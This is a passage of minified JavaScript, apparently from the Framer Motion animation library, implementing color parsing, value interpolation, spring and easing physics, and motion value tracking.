Jd=(e,t)=>n=>Boolean(tu(n)&&eu.test(n)&&n.startsWith(e)||t&&Object.prototype.hasOwnProperty.call(n,t)),ep=(e,t,n)=>r=>{if(!tu(r))return r;const[o,i,s,a]=r.match(Qc);return{[e]:parseFloat(o),[t]:parseFloat(i),[n]:parseFloat(s),alpha:void 0!==a?parseFloat(a):1}},tp={...qc,transform:e=>Math.round((e=>Kc(0,255,e))(e))},np={test:Jd("rgb","red"),parse:ep("red","green","blue"),transform:({red:e,green:t,blue:n,alpha:r=1})=>"rgba("+tp.transform(e)+", "+tp.transform(t)+", "+tp.transform(n)+", "+Zc(Yc.transform(r))+")"};const rp={test:Jd("#"),parse:function(e){let t="",n="",r="",o="";return e.length>5?(t=e.substring(1,3),n=e.substring(3,5),r=e.substring(5,7),o=e.substring(7,9)):(t=e.substring(1,2),n=e.substring(2,3),r=e.substring(3,4),o=e.substring(4,5),t+=t,n+=n,r+=r,o+=o),{red:parseInt(t,16),green:parseInt(n,16),blue:parseInt(r,16),alpha:o?parseInt(o,16)/255:1}},transform:np.transform},op={test:Jd("hsl","hue"),parse:ep("hue","saturation","lightness"),transform:({hue:e,saturation:t,lightness:n,alpha:r=1})=>"hsla("+Math.round(e)+", "+ou.transform(Zc(t))+", "+ou.transform(Zc(n))+", "+Zc(Yc.transform(r))+")"},ip={test:e=>np.test(e)||rp.test(e)||op.test(e),parse:e=>np.test(e)?np.parse(e):op.test(e)?op.parse(e):rp.parse(e),transform:e=>tu(e)?e:e.hasOwnProperty("red")?np.transform(e):op.transform(e)};const sp="number",ap="color",lp=/var\s*\(\s*--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)|#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\)|-?(?:\d+(?:\.\d+)?|\.\d+)/giu;function cp(e){const t=e.toString(),n=[],r={color:[],number:[],var:[]},o=[];let i=0;const s=t.replace(lp,(e=>(ip.test(e)?(r.color.push(i),o.push(ap),n.push(ip.parse(e))):e.startsWith("var(")?(r.var.push(i),o.push("var"),n.push(e)):(r.number.push(i),o.push(sp),n.push(parseFloat(e))),++i,"${}"))).split("${}");return{values:n,split:s,indexes:r,types:o}}function up(e){return cp(e).values}function dp(e){const{split:t,types:n}=cp(e),r=t.length;return e=>{let o="";for(let i=0;i<r;i++)if(o+=t[i],void 0!==e[i]){const t=n[i];o+=t===sp?Zc(e[i]):t===ap?ip.transform(e[i]):e[i]}return o}}const pp=e=>"number"==typeof e?0:e;const fp={test:function(e){var t,n;return isNaN(e)&&tu(e)&&((null===(t=e.match(Qc))||void 0===t?void 0:t.length)||0)+((null===(n=e.match(Jc))||void 0===n?void 0:n.length)||0)>0},parse:up,createTransformer:dp,getAnimatableNone:function(e){const t=up(e);return dp(e)(t.map(pp))}},hp=new Set(["brightness","contrast","saturate","opacity"]);function mp(e){const[t,n]=e.slice(0,-1).split("(");if("drop-shadow"===t)return e;const[r]=n.match(Qc)||[];if(!r)return e;const o=n.replace(r,"");let i=hp.has(t)?1:0;return r!==n&&(i*=100),t+"("+i+o+")"}const gp=/\b([a-z-]*)\(.*?\)/gu,vp={...fp,getAnimatableNone:e=>{const t=e.match(gp);return t?t.map(mp).join(" "):e}},bp={...uu,color:ip,backgroundColor:ip,outlineColor:ip,fill:ip,stroke:ip,borderColor:ip,borderTopColor:ip,borderRightColor:ip,borderBottomColor:ip,borderLeftColor:ip,filter:vp,WebkitFilter:vp},xp=e=>bp[e];function yp(e,t){let n=xp(e);return n!==vp&&(n=fp),n.getAnimatableNone?n.getAnimatableNone(t):void 0}const wp=new Set(["auto","none","0"]);class _p extends Qd{constructor(e,t,n,r){super(e,t,n,r,null==r?void 0:r.owner,!0)}readKeyframes(){const{unresolvedKeyframes:e,element:t,name:n}=this;if(!t.current)return;super.readKeyframes();for(let n=0;n<e.length;n++){const r=e[n];if("string"==typeof r&&Wc(r)){const o=zd(r,t.current);void 0!==o&&(e[n]=o),n===e.length-1&&(this.finalKeyframe=r)}}if(this.resolveNoneKeyframes(),!Od.has(n)||2!==e.length)return;const[r,o]=e,i=Gd(r),s=Gd(o);if(i!==s)if(Ld(i)&&Ld(s))for(let t=0;t<e.length;t++){const n=e[t];"string"==typeof n&&(e[t]=parseFloat(n))}else this.needsMeasurement=!0}resolveNoneKeyframes(){const{unresolvedKeyframes:e,name:t}=this,n=[];for(let t=0;t<e.length;t++)("number"==typeof(r=e[t])?0===r:null===r||"none"===r||"0"===r||Id(r))&&n.push(t);var r;n.length&&function(e,t,n){let r,o=0;for(;o<e.length&&!r;){const t=e[o];"string"==typeof t&&!wp.has(t)&&cp(t).values.length&&(r=e[o]),o++}if(r&&n)for(const o of t)e[o]=yp(n,r)}(e,n,t)}measureInitialState(){const{element:e,unresolvedKeyframes:t,name:n}=this;if(!e.current)return;"height"===n&&(this.suspendedScrollY=window.pageYOffset),this.measuredOrigin=Hd[n](e.measureViewportBox(),window.getComputedStyle(e.current)),t[0]=this.measuredOrigin;const r=t[t.length-1];void 0!==r&&e.getValue(n,r).jump(r,!1)}measureEndState(){var e;const{element:t,name:n,unresolvedKeyframes:r}=this;if(!t.current)return;const o=t.getValue(n);o&&o.jump(this.measuredOrigin,!1);const i=r.length-1,s=r[i];r[i]=Hd[n](t.measureViewportBox(),window.getComputedStyle(t.current)),null!==s&&void 0===this.finalKeyframe&&(this.finalKeyframe=s),(null===(e=this.removedTransforms)||void 0===e?void 0:e.length)&&this.removedTransforms.forEach((([e,n])=>{t.getValue(e).set(n)})),this.resolveNoneKeyframes()}}const Sp=(e,t)=>"zIndex"!==t&&(!("number"!=typeof e&&!Array.isArray(e))||!("string"!=typeof e||!fp.test(e)&&"0"!==e||e.startsWith("url(")));class Cp{constructor({autoplay:e=!0,delay:t=0,type:n="keyframes",repeat:r=0,repeatDelay:o=0,repeatType:i="loop",...s}){this.isStopped=!1,this.hasAttemptedResolve=!1,this.options={autoplay:e,delay:t,type:n,repeat:r,repeatDelay:o,repeatType:i,...s},this.updateFinishedPromise()}get resolved(){return this._resolved||this.hasAttemptedResolve||(Zd(),Xd()),this._resolved}onKeyframesResolved(e,t){this.hasAttemptedResolve=!0;const{name:n,type:r,velocity:o,delay:i,onComplete:s,onUpdate:a,isGenerator:l}=this.options;if(!l&&!function(e,t,n,r){const o=e[0];if(null===o)return!1;if("display"===t||"visibility"===t)return!0;const i=e[e.length-1],s=Sp(o,t),a=Sp(i,t);return Rd(s===a,`You are trying to animate ${t} from "${o}" to "${i}". ${o} is not an animatable value - to enable this animation set ${o} to a value animatable to ${i} via the \`style\` property.`),!(!s||!a)&&(function(e){const t=e[0];if(1===e.length)return!0;for(let n=0;n<e.length;n++)if(e[n]!==t)return!0}(e)||"spring"===n&&r)}(e,n,r,o)){if(kd||!i)return null==a||a(Ed(e,this.options,t)),null==s||s(),void this.resolveFinishedPromise();this.options.duration=0}const c=this.initPlayback(e,t);!1!==c&&(this._resolved={keyframes:e,finalKeyframe:t,...c},this.onPostResolved())}onPostResolved(){}then(e,t){return this.currentFinishedPromise.then(e,t)}updateFinishedPromise(){this.currentFinishedPromise=new Promise((e=>{this.resolveFinishedPromise=e}))}}function kp(e,t){return t?e*(1e3/t):0}function jp(e,t,n){const r=Math.max(t-5,0);return kp(n-e(r),t-r)}const Ep=.001;function Pp({duration:e=800,bounce:t=.25,velocity:n=0,mass:r=1}){let o,i;Rd(e<=bd(10),"Spring duration must be 10 seconds or less");let s=1-t;s=Kc(.05,1,s),e=Kc(.01,10,xd(e)),s<1?(o=t=>{const r=t*s,o=r*e,i=r-n,a=Tp(t,s),l=Math.exp(-o);return Ep-i/a*l},i=t=>{const r=t*s*e,i=r*n+n,a=Math.pow(s,2)*Math.pow(t,2)*e,l=Math.exp(-r),c=Tp(Math.pow(t,2),s);return(-o(t)+Ep>0?-1:1)*((i-a)*l)/c}):(o=t=>Math.exp(-t*e)*((t-n)*e+1)-.001,i=t=>Math.exp(-t*e)*(e*e*(n-t)));const a=function(e,t,n){let r=n;for(let n=1;n<Np;n++)r-=e(r)/t(r);return r}(o,i,5/e);if(e=bd(e),isNaN(a))return{stiffness:100,damping:10,duration:e};{const t=Math.pow(a,2)*r;return{stiffness:t,damping:2*s*Math.sqrt(r*t),duration:e}}}const Np=12;function Tp(e,t){return e*Math.sqrt(1-t*t)}const Ip=["duration","bounce"],Rp=["stiffness","damping","mass"];function Mp(e,t){return t.some((t=>void 0!==e[t]))}function Ap({keyframes:e,restDelta:t,restSpeed:n,...r}){const o=e[0],i=e[e.length-1],s={done:!1,value:o},{stiffness:a,damping:l,mass:c,duration:u,velocity:d,isResolvedFromDuration:p}=function(e){let t={velocity:0,stiffness:100,damping:10,mass:1,isResolvedFromDuration:!1,...e};if(!Mp(e,Rp)&&Mp(e,Ip)){const n=Pp(e);t={...t,...n,mass:1},t.isResolvedFromDuration=!0}return t}({...r,velocity:-xd(r.velocity||0)}),f=d||0,h=l/(2*Math.sqrt(a*c)),m=i-o,g=xd(Math.sqrt(a/c)),v=Math.abs(m)<5;let b;if(n||(n=v?.01:2),t||(t=v?.005:.5),h<1){const e=Tp(g,h);b=t=>{const n=Math.exp(-h*g*t);return i-n*((f+h*g*m)/e*Math.sin(e*t)+m*Math.cos(e*t))}}else if(1===h)b=e=>i-Math.exp(-g*e)*(m+(f+g*m)*e);else{const e=g*Math.sqrt(h*h-1);b=t=>{const n=Math.exp(-h*g*t),r=Math.min(e*t,300);return i-n*((f+h*g*m)*Math.sinh(r)+e*m*Math.cosh(r))/e}}return{calculatedDuration:p&&u||null,next:e=>{const r=b(e);if(p)s.done=e>=u;else{let o=f;0!==e&&(o=h<1?jp(b,e,r):0);const a=Math.abs(o)<=n,l=Math.abs(i-r)<=t;s.done=a&&l}return s.value=s.done?i:r,s}}}function Dp({keyframes:e,velocity:t=0,power:n=.8,timeConstant:r=325,bounceDamping:o=10,bounceStiffness:i=500,modifyTarget:s,min:a,max:l,restDelta:c=.5,restSpeed:u}){const d=e[0],p={done:!1,value:d},f=e=>void 0===a?l:void 0===l||Math.abs(a-e)<Math.abs(l-e)?a:l;let h=n*t;const m=d+h,g=void 0===s?m:s(m);g!==m&&(h=g-d);const v=e=>-h*Math.exp(-e/r),b=e=>g+v(e),x=e=>{const t=v(e),n=b(e);p.done=Math.abs(t)<=c,p.value=p.done?g:n};let y,w;const _=e=>{(e=>void 0!==a&&e<a||void 0!==l&&e>l)(p.value)&&(y=e,w=Ap({keyframes:[p.value,f(p.value)],velocity:jp(b,e,p.value),damping:o,stiffness:i,restDelta:c,restSpeed:u}))};return _(0),{calculatedDuration:null,next:e=>{let t=!1;return w||void 0!==y||(t=!0,x(e),_(e)),void 0!==y&&e>=y?w.next(e-y):(!t&&x(e),p)}}}const zp=(e,t,n)=>(((1-3*n+3*t)*e+(3*n-6*t))*e+3*t)*e;function Op(e,t,n,r){if(e===t&&n===r)return Vu;const o=t=>function(e,t,n,r,o){let i,s,a=0;do{s=t+(n-t)/2,i=zp(s,r,o)-e,i>0?n=s:t=s}while(Math.abs(i)>1e-7&&++a<12);return s}(t,0,1,e,n);return e=>0===e||1===e?e:zp(o(e),t,r)}const Lp=Op(.42,0,1,1),Fp=Op(0,0,.58,1),Bp=Op(.42,0,.58,1),Vp=e=>t=>t<=.5?e(2*t)/2:(2-e(2*(1-t)))/2,$p=e=>t=>1-e(1-t),Hp=e=>1-Math.sin(Math.acos(e)),Wp=$p(Hp),Up=Vp(Hp),Gp=Op(.33,1.53,.69,.99),Kp=$p(Gp),qp=Vp(Kp),Yp={linear:Vu,easeIn:Lp,easeInOut:Bp,easeOut:Fp,circIn:Hp,circInOut:Up,circOut:Wp,backIn:Kp,backInOut:qp,backOut:Gp,anticipate:e=>(e*=2)<1?.5*Kp(e):.5*(2-Math.pow(2,-10*(e-1)))},Xp=e=>{if(Array.isArray(e)){Md(4===e.length,"Cubic bezier arrays must contain four numerical values.");const[t,n,r,o]=e;return Op(t,n,r,o)}return"string"==typeof e?(Md(void 0!==Yp[e],`Invalid easing type '${e}'`),Yp[e]):e},Zp=(e,t,n)=>{const r=t-e;return 0===r?1:(n-e)/r},Qp=(e,t,n)=>e+(t-e)*n;function Jp(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}const ef=(e,t,n)=>{const r=e*e,o=n*(t*t-r)+r;return o<0?0:Math.sqrt(o)},tf=[rp,np,op];function nf(e){const t=(e=>tf.find((t=>t.test(e))))(e);Md(Boolean(t),`'${e}' is not an animatable color. Use the equivalent color code instead.`);let n=t.parse(e);return t===op&&(n=function({hue:e,saturation:t,lightness:n,alpha:r}){e/=360,n/=100;let o=0,i=0,s=0;if(t/=100){const r=n<.5?n*(1+t):n+t-n*t,a=2*n-r;o=Jp(a,r,e+1/3),i=Jp(a,r,e),s=Jp(a,r,e-1/3)}else o=i=s=n;return{red:Math.round(255*o),green:Math.round(255*i),blue:Math.round(255*s),alpha:r}}(n)),n}const rf=(e,t)=>{const n=nf(e),r=nf(t),o={...n};return e=>(o.red=ef(n.red,r.red,e),o.green=ef(n.green,r.green,e),o.blue=ef(n.blue,r.blue,e),o.alpha=Qp(n.alpha,r.alpha,e),np.transform(o))},of=new Set(["none","hidden"]);function sf(e,t){return n=>n>0?t:e}function af(e,t){return n=>Qp(e,t,n)}function lf(e){return"number"==typeof e?af:"string"==typeof e?Wc(e)?sf:ip.test(e)?rf:df:Array.isArray(e)?cf:"object"==typeof e?ip.test(e)?rf:uf:sf}function cf(e,t){const n=[...e],r=n.length,o=e.map(((e,n)=>lf(e)(e,t[n])));return e=>{for(let t=0;t<r;t++)n[t]=o[t](e);return n}}function uf(e,t){const n={...e,...t},r={};for(const o in n)void 0!==e[o]&&void 0!==t[o]&&(r[o]=lf(e[o])(e[o],t[o]));return e=>{for(const t in r)n[t]=r[t](e);return n}}const df=(e,t)=>{const n=fp.createTransformer(t),r=cp(e),o=cp(t);return r.indexes.var.length===o.indexes.var.length&&r.indexes.color.length===o.indexes.color.length&&r.indexes.number.length>=o.indexes.number.length?of.has(e)&&!o.values.length||of.has(t)&&!r.values.length?function(e,t){return of.has(e)?n=>n<=0?e:t:n=>n>=1?t:e}(e,t):Ju(cf(function(e,t){var n;const r=[],o={color:0,var:0,number:0};for(let i=0;i<t.values.length;i++){const s=t.types[i],a=e.indexes[s][o[s]],l=null!==(n=e.values[a])&&void 0!==n?n:0;r[i]=l,o[s]++}return r}(r,o),o.values),n):(Rd(!0,`Complex values '${e}' and '${t}' too different to mix. Ensure all colors are of the same type, and that each contains the same quantity of number and color values. Falling back to instant transition.`),sf(e,t))};function pf(e,t,n){if("number"==typeof e&&"number"==typeof t&&"number"==typeof n)return Qp(e,t,n);return lf(e)(e,t)}function ff(e,t,{clamp:n=!0,ease:r,mixer:o}={}){const i=e.length;if(Md(i===t.length,"Both input and output ranges must be the same length"),1===i)return()=>t[0];if(2===i&&e[0]===e[1])return()=>t[1];e[0]>e[i-1]&&(e=[...e].reverse(),t=[...t].reverse());const s=function(e,t,n){const r=[],o=n||pf,i=e.length-1;for(let n=0;n<i;n++){let i=o(e[n],e[n+1]);if(t){const e=Array.isArray(t)?t[n]||Vu:t;i=Ju(e,i)}r.push(i)}return r}(t,r,o),a=s.length,l=t=>{let n=0;if(a>1)for(;n<e.length-2&&!(t<e[n+1]);n++);const r=Zp(e[n],e[n+1],t);return s[n](r)};return n?t=>l(Kc(e[0],e[i-1],t)):l}function hf(e){const t=[0];return function(e,t){const n=e[e.length-1];for(let r=1;r<=t;r++){const o=Zp(0,t,r);e.push(Qp(n,1,o))}}(t,e.length-1),t}function mf({duration:e=300,keyframes:t,times:n,ease:r="easeInOut"}){const o=(e=>Array.isArray(e)&&"number"!=typeof e[0])(r)?r.map(Xp):Xp(r),i={done:!1,value:t[0]},s=function(e,t){return e.map((e=>e*t))}(n&&n.length===t.length?n:hf(t),e),a=ff(s,t,{ease:Array.isArray(o)?o:(l=t,c=o,l.map((()=>c||Bp)).splice(0,l.length-1))});var l,c;return{calculatedDuration:e,next:t=>(i.value=a(t),i.done=t>=e,i)}}const gf=e=>{const t=({timestamp:t})=>e(t);return{start:()=>$u.update(t,!0),stop:()=>Hu(t),now:()=>Wu.isProcessing?Wu.timestamp:Td.now()}},vf={decay:Dp,inertia:Dp,tween:mf,keyframes:mf,spring:Ap},bf=e=>e/100;class xf extends Cp{constructor({KeyframeResolver:e=Qd,...t}){super(t),this.holdTime=null,this.startTime=null,this.cancelTime=null,this.currentTime=0,this.playbackSpeed=1,this.pendingPlayState="running",this.state="idle",this.stop=()=>{if(this.resolver.cancel(),this.isStopped=!0,"idle"===this.state)return;this.teardown();const{onStop:e}=this.options;e&&e()};const{name:n,motionValue:r,keyframes:o}=this.options,i=(e,t)=>this.onKeyframesResolved(e,t);n&&r&&r.owner?this.resolver=r.owner.resolveKeyframes(o,i,n,r):this.resolver=new e(o,i,n,r),this.resolver.scheduleResolve()}initPlayback(e){const{type:t="keyframes",repeat:n=0,repeatDelay:r=0,repeatType:o,velocity:i=0}=this.options,s=vf[t]||mf;let a,l;s!==mf&&"number"!=typeof e[0]&&(a=Ju(bf,pf(e[0],e[1])),e=[0,100]);const c=s({...this.options,keyframes:e});"mirror"===o&&(l=s({...this.options,keyframes:[...e].reverse(),velocity:-i})),null===c.calculatedDuration&&(c.calculatedDuration=function(e){let t=0,n=e.next(t);for(;!n.done&&t<2e4;)t+=50,n=e.next(t);return t>=2e4?1/0:t}(c));const{calculatedDuration:u}=c,d=u+r;return{generator:c,mirroredGenerator:l,mapPercentToKeyframes:a,calculatedDuration:u,resolvedDuration:d,totalDuration:d*(n+1)-r}}onPostResolved(){const{autoplay:e=!0}=this.options;this.play(),"paused"!==this.pendingPlayState&&e?this.state=this.pendingPlayState:this.pause()}tick(e,t=!1){const{resolved:n}=this;if(!n){const{keyframes:e}=this.options;return{done:!0,value:e[e.length-1]}}const{finalKeyframe:r,generator:o,mirroredGenerator:i,mapPercentToKeyframes:s,keyframes:a,calculatedDuration:l,totalDuration:c,resolvedDuration:u}=n;if(null===this.startTime)return o.next(0);const{delay:d,repeat:p,repeatType:f,repeatDelay:h,onUpdate:m}=this.options;this.speed>0?this.startTime=Math.min(this.startTime,e):this.speed<0&&(this.startTime=Math.min(e-c/this.speed,this.startTime)),t?this.currentTime=e:null!==this.holdTime?this.currentTime=this.holdTime:this.currentTime=Math.round(e-this.startTime)*this.speed;const g=this.currentTime-d*(this.speed>=0?1:-1),v=this.speed>=0?g<0:g>c;this.currentTime=Math.max(g,0),"finished"===this.state&&null===this.holdTime&&(this.currentTime=c);let b=this.currentTime,x=o;if(p){const e=Math.min(this.currentTime,c)/u;let t=Math.floor(e),n=e%1;!n&&e>=1&&(n=1),1===n&&t--,t=Math.min(t,p+1);Boolean(t%2)&&("reverse"===f?(n=1-n,h&&(n-=h/u)):"mirror"===f&&(x=i)),b=Kc(0,1,n)*u}const y=v?{done:!1,value:a[0]}:x.next(b);s&&(y.value=s(y.value));let{done:w}=y;v||null===l||(w=this.speed>=0?this.currentTime>=c:this.currentTime<=0);const _=null===this.holdTime&&("finished"===this.state||"running"===this.state&&w);return _&&void 0!==r&&(y.value=Ed(a,this.options,r)),m&&m(y.value),_&&this.finish(),y}get duration(){const{resolved:e}=this;return e?xd(e.calculatedDuration):0}get time(){return xd(this.currentTime)}set time(e){e=bd(e),this.currentTime=e,null!==this.holdTime||0===this.speed?this.holdTime=e:this.driver&&(this.startTime=this.driver.now()-e/this.speed)}get speed(){return this.playbackSpeed}set speed(e){const t=this.playbackSpeed!==e;this.playbackSpeed=e,t&&(this.time=xd(this.currentTime))}play(){if(this.resolver.isScheduled||this.resolver.resume(),!this._resolved)return void(this.pendingPlayState="running");if(this.isStopped)return;const{driver:e=gf,onPlay:t}=this.options;this.driver||(this.driver=e((e=>this.tick(e)))),t&&t();const n=this.driver.now();null!==this.holdTime?this.startTime=n-this.holdTime:this.startTime&&"finished"!==this.state||(this.startTime=n),"finished"===this.state&&this.updateFinishedPromise(),this.cancelTime=this.startTime,this.holdTime=null,this.state="running",this.driver.start()}pause(){var e;this._resolved?(this.state="paused",this.holdTime=null!==(e=this.currentTime)&&void 0!==e?e:0):this.pendingPlayState="paused"}complete(){"running"!==this.state&&this.play(),this.pendingPlayState=this.state="finished",this.holdTime=null}finish(){this.teardown(),this.state="finished";const{onComplete:e}=this.options;e&&e()}cancel(){null!==this.cancelTime&&this.tick(this.cancelTime),this.teardown(),this.updateFinishedPromise()}teardown(){this.state="idle",this.stopDriver(),this.resolveFinishedPromise(),this.updateFinishedPromise(),this.startTime=this.cancelTime=null,this.resolver.cancel()}stopDriver(){this.driver&&(this.driver.stop(),this.driver=void 0)}sample(e){return this.startTime=0,this.tick(e,!0)}}const yf=e=>Array.isArray(e)&&"number"==typeof e[0];function wf(e){return Boolean(!e||"string"==typeof e&&e in Sf||yf(e)||Array.isArray(e)&&e.every(wf))}const _f=([e,t,n,r])=>`cubic-bezier(${e}, ${t}, ${n}, ${r})`,Sf={linear:"linear",ease:"ease",easeIn:"ease-in",easeOut:"ease-out",easeInOut:"ease-in-out",circIn:_f([0,.65,.55,1]),circOut:_f([.55,0,1,.45]),backIn:_f([.31,.01,.66,-.59]),backOut:_f([.33,1.53,.69,.99])};function Cf(e){return kf(e)||Sf.easeOut}function kf(e){return e?yf(e)?_f(e):Array.isArray(e)?e.map(Cf):Sf[e]:void 0}const jf=function(e){let t;return()=>(void 0===t&&(t=e()),t)}((()=>Object.hasOwnProperty.call(Element.prototype,"animate"))),Ef=new Set(["opacity","clipPath","filter","transform"]);class Pf extends Cp{constructor(e){super(e);const{name:t,motionValue:n,keyframes:r}=this.options;this.resolver=new _p(r,((e,t)=>this.onKeyframesResolved(e,t)),t,n),this.resolver.scheduleResolve()}initPlayback(e,t){var n;let{duration:r=300,times:o,ease:i,type:s,motionValue:a,name:l}=this.options;if(!(null===(n=a.owner)||void 0===n?void 0:n.current))return!1;if(function(e){return"spring"===e.type||"backgroundColor"===e.name||!wf(e.ease)}(this.options)){const{onComplete:t,onUpdate:n,motionValue:a,...l}=this.options,c=function(e,t){const n=new xf({...t,keyframes:e,repeat:0,delay:0,isGenerator:!0});let r={done:!1,value:e[0]};const o=[];let i=0;for(;!r.done&&i<2e4;)r=n.sample(i),o.push(r.value),i+=10;return{times:void 0,keyframes:o,duration:i-10,ease:"linear"}}(e,l);1===(e=c.keyframes).length&&(e[1]=e[0]),r=c.duration,o=c.times,i=c.ease,s="keyframes"}const c=function(e,t,n,{delay:r=0,duration:o=300,repeat:i=0,repeatType:s="loop",ease:a,times:l}={}){const c={[t]:n};l&&(c.offset=l);const u=kf(a);return Array.isArray(u)&&(c.easing=u),e.animate(c,{delay:r,duration:o,easing:Array.isArray(u)?"linear":u,fill:"both",iterations:i+1,direction:"reverse"===s?"alternate":"normal"})}(a.owner.current,l,e,{...this.options,duration:r,times:o,ease:i});return c.startTime=Td.now(),this.pendingTimeline?(c.timeline=this.pendingTimeline,this.pendingTimeline=void 0):c.onfinish=()=>{const{onComplete:n}=this.options;a.set(Ed(e,this.options,t)),n&&n(),this.cancel(),this.resolveFinishedPromise()},{animation:c,duration:r,times:o,type:s,ease:i,keyframes:e}}get duration(){const{resolved:e}=this;if(!e)return 0;const{duration:t}=e;return xd(t)}get time(){const{resolved:e}=this;if(!e)return 0;const{animation:t}=e;return xd(t.currentTime||0)}set time(e){const{resolved:t}=this;if(!t)return;const{animation:n}=t;n.currentTime=bd(e)}get speed(){const{resolved:e}=this;if(!e)return 1;const{animation:t}=e;return t.playbackRate}set speed(e){const{resolved:t}=this;if(!t)return;const{animation:n}=t;n.playbackRate=e}get state(){const{resolved:e}=this;if(!e)return"idle";const{animation:t}=e;return t.playState}attachTimeline(e){if(this._resolved){const{resolved:t}=this;if(!t)return Vu;const{animation:n}=t;n.timeline=e,n.onfinish=null}else this.pendingTimeline=e;return Vu}play(){if(this.isStopped)return;const{resolved:e}=this;if(!e)return;const{animation:t}=e;"finished"===t.playState&&this.updateFinishedPromise(),t.play()}pause(){const{resolved:e}=this;if(!e)return;const{animation:t}=e;t.pause()}stop(){if(this.resolver.cancel(),this.isStopped=!0,"idle"===this.state)return;const{resolved:e}=this;if(!e)return;const{animation:t,keyframes:n,duration:r,type:o,ease:i,times:s}=e;if("idle"!==t.playState&&"finished"!==t.playState){if(this.time){const{motionValue:e,onUpdate:t,onComplete:a,...l}=this.options,c=new xf({...l,keyframes:n,duration:r,type:o,ease:i,times:s,isGenerator:!0}),u=bd(this.time);e.setWithVelocity(c.sample(u-10).value,c.sample(u).value,10)}this.cancel()}}complete(){const{resolved:e}=this;e&&e.animation.finish()}cancel(){const{resolved:e}=this;e&&e.animation.cancel()}static supports(e){const{motionValue:t,name:n,repeatDelay:r,repeatType:o,damping:i,type:s}=e;return jf()&&n&&Ef.has(n)&&t&&t.owner&&t.owner.current instanceof HTMLElement&&!t.owner.getProps().onUpdate&&!r&&"mirror"!==o&&0!==i&&"inertia"!==s}}const Nf=(e,t,n,r={},o,i)=>s=>{const a=Cd(r,e)||{},l=a.delay||r.delay||0;let{elapsed:c=0}=r;c-=bd(l);let u={keyframes:Array.isArray(n)?n:[null,n],ease:"easeOut",velocity:t.getVelocity(),...a,delay:-c,onUpdate:e=>{t.set(e),a.onUpdate&&a.onUpdate(e)},onComplete:()=>{s(),a.onComplete&&a.onComplete()},name:e,motionValue:t,element:i?void 0:o};(function({when:e,delay:t,delayChildren:n,staggerChildren:r,staggerDirection:o,repeat:i,repeatType:s,repeatDelay:a,from:l,elapsed:c,...u}){return!!Object.keys(u).length})(a)||(u={...u,...Sd(e,u)}),u.duration&&(u.duration=bd(u.duration)),u.repeatDelay&&(u.repeatDelay=bd(u.repeatDelay)),void 0!==u.from&&(u.keyframes[0]=u.from);let d=!1;if((!1===u.type||0===u.duration&&!u.repeatDelay)&&(u.duration=0,0===u.delay&&(d=!0)),(kd||ac)&&(d=!0,u.duration=0,u.delay=0),d&&!i&&void 0!==t.get()){const e=Ed(u.keyframes,a);if(void 0!==e)return void $u.update((()=>{u.onUpdate(e),u.onComplete()}))}return!i&&Pf.supports(u)?new Pf(u):new xf(u)};function Tf(e){return Boolean(Lc(e)&&e.add)}function If(e,t){-1===e.indexOf(t)&&e.push(t)}function Rf(e,t){const n=e.indexOf(t);n>-1&&e.splice(n,1)}class Mf{constructor(){this.subscriptions=[]}add(e){return If(this.subscriptions,e),()=>Rf(this.subscriptions,e)}notify(e,t,n){const r=this.subscriptions.length;if(r)if(1===r)this.subscriptions[0](e,t,n);else for(let o=0;o<r;o++){const r=this.subscriptions[o];r&&r(e,t,n)}}getSize(){return this.subscriptions.length}clear(){this.subscriptions.length=0}}const Af={current:void 0};class Df{constructor(e,t={}){this.version="11.2.6",this.canTrackVelocity=null,this.events={},this.updateAndNotify=(e,t=!0)=>{const n=Td.now();this.updatedAt!==n&&this.setPrevFrameValue(),this.prev=this.current,this.setCurrent(e),this.current!==this.prev&&this.events.change&&this.events.change.notify(this.current),t&&this.events.renderRequest&&this.events.renderRequest.notify(this.current)},this.hasAnimated=!1,this.setCurrent(e),this.owner=t.owner}setCurrent(e){var t;this.current=e,this.updatedAt=Td.now(),null===this.canTrackVelocity&&void 0!==e&&(this.canTrackVelocity=(t=this.current,!isNaN(parseFloat(t))))}setPrevFrameValue(e=this.current){this.prevFrameValue=e,this.prevUpdatedAt=this.updatedAt}onChange(e){return this.on("change",e)}on(e,t){this.events[e]||(this.events[e]=new Mf);const n=this.events[e].add(t);return"change"===e?()=>{n(),$u.read((()=>{this.events.change.getSize()||this.stop()}))}:n}clearListeners(){for(const e in this.events)this.events[e].clear()}attach(e,t){this.passiveEffect=e,this.stopPassiveEffect=t}set(e,t=!0){t&&this.passiveEffect?this.passiveEffect(e,this.updateAndNotify):this.updateAndNotify(e,t)}setWithVelocity(e,t,n){this.set(t),this.prev=void 0,this.prevFrameValue=e,this.prevUpdatedAt=this.updatedAt-n}jump(e,t=!0){this.updateAndNotify(e),this.prev=e,this.prevUpdatedAt=this.prevFrameValue=void 0,t&&this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}get(){return Af.current&&Af.current.push(this),this.current}getPrevious(){return this.prev}getVelocity(){const e=Td.now();if(!this.canTrackVelocity||void 0===this.prevFrameValue||e-this.updatedAt>30)return 0;const t=Math.min(this.updatedAt-this.prevUpdatedAt,30);return kp(parseFloat(this.current)-parseFloat(this.prevFrameValue),t)}start(e){return this.stop(),new Promise((t=>{this.hasAnimated=!0,this.animation=e(t),this.events.animationStart&&this.events.animationStart.notify()})).then((()=>{this.events.animationComplete&&this.events.animationComplete.notify(),this.clearAnimation()}))}stop(){this.animation&&(this.animation.stop(),this.events.animationCancel&&this.events.animationCancel.notify()),this.clearAnimation()}isAnimating(){return!!this.animation}clearAnimation(){delete this.animation}destroy(){this.clearListeners(),this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}}function zf(e,t){return new Df(e,t)}function Of(e,t,n){e.hasValue(t)?e.getValue(t).set(n):e.addValue(t,zf(n))}function Lf({protectedKeys:e,needsAnimating:t},n){const r=e.hasOwnProperty(n)&&!0!==t[n];return t[n]=!1,r}function Ff(e,t,{delay:n=0,transitionOverride:r,type:o}={}){var i;let{transition:s=e.getDefaultTransition(),transitionEnd:a,...l}=t;const c=e.getValue("willChange");r&&(s=r);const u=[],d=o&&e.animationState&&e.animationState.getState()[o];for(const t in l){const 